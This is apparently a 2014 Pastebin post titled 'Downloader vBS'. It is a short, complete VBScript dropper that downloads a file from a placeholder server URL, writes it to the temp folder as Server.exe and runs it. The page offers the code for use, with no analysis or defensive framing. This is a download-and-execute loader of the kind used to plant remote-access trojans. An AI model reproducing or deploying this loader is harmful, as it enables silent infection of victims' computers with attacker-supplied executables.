SecurityNajaf

Downloader vBS

Jan 13th, 2014
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 1.29 KB | None | 0 0
  1. '============>> Writed With Security.Najaf :)
  2. '-------------------------------------------------------------------------
  3. Dim sh
  4. Randomize
  5. Set sh =WScript.CreateObject("WScript.Shell")
  6. HTTPDownload "Link Server", sh.ExpandEnvironmentStrings("%temp%" & "\Server.exe")
  7. Sub HTTPDownload( myURL, myPath )
  8.     Dim i, objFile, objFSO, objHTTP, strFile, strMsg
  9.     Const ForReading = 1, ForWriting = 2, ForAppending = 8
  10.     Set objFSO = CreateObject( "Scripting.FileSystemObject" )
  11.     If objFSO.FolderExists( myPath ) Then
  12.         strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) )
  13.     ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then
  14.         strFile = myPath
  15.     Else
  16.         WScript.Echo "ERROR: Target folder not found."
  17.         Exit Sub
  18.     End If
  19.     Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )
  20.     Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
  21.     objHTTP.Open "GET", myURL, False
  22.     objHTTP.Send
  23.     For i = 1 To LenB( objHTTP.ResponseBody )
  24.         objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
  25.     Next
  26.     objFile.Close( )
  27. End Sub
  28. Set wshShell = WScript.CreateObject ("WSCript.shell")
  29. wshshell.run  sh.ExpandEnvironmentStrings("%temp%" & "\Server.exe"), 6, True
  30. set wshshell = nothing
Add Comment
Please, Sign In to add comment